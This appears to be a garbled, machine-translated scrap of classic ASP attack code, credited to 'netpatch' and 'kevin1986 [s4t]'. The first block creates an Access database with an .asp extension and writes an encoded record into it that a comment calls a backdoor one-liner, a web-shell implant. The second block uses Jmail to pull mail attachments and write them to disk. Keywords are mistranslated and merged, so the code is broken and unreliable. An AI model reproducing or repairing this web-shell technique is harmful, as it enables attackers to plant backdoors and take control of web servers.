<%
'CodeByNetpatch
DIMDBFILE, SQL
db = "netpatch.asp"
dbfile = server.mappath (dB)
setydb = server.createObject ("Adox.catalog")
ydb.create "provider = microsoft.jet.oledb.4.0; DataSource =" & dbfile
setydb = nada
iferr.number = 0then
Response.WrateDBFile & "Crie com sucesso <br>"
outro
Response.Write "Criação falhou, razão:" & Err.Description
Resposta.END
endif
SetConn = server.createObject ("adodb.connection")
Conn.Open "Provider = Microsoft.Jet.oledb.4.0; DataSource =" & dbfile
SQL = "CreateTableFData ([Data] Memo)"
Conn.Execute (SQL)
Setrs = createObject ("adodb.recordset")
Rs.open "fdata", Conn, 1,3
Rs.Addnew
rs ("dados") = "┼ Número de potência e revitalize o inimigo∨≮┩>" '(Lembre -se de remover os comentários! Uma frase de backdoor ExecutionerQuest ("n"))
rs.update
%>
Escreva arquivos no Jmail no disco rígido
<%
'codzbykevin1986 [s4t]
Usuário = request.form ("Usuário")
Pass = request.form ("passa")
PopServer = request.form ("PopServer")
ifUser <> "" epass <> "" "epopServer <>" "então
Setobjmail = createObject ("jmail.pop3")
objmail.connectuser, passe, Popserver
setobjmsg = createObject ("jmail.message")
Setobjmsg = objmail.messages.item (1)
separador = ","
Response.Write "ApptionNameis:" & Saveatta & "<br>"
objmail.disconnect
Endif
Funções aveatta ()
Setattachments = objmsg.attachments
separador = ","
Response.Write "TheSizeOfthisattachmentis:" & objmsg.size & "<br>"
Fori = 0toattachments.count-1
Ifi = anexamentos.count-1hen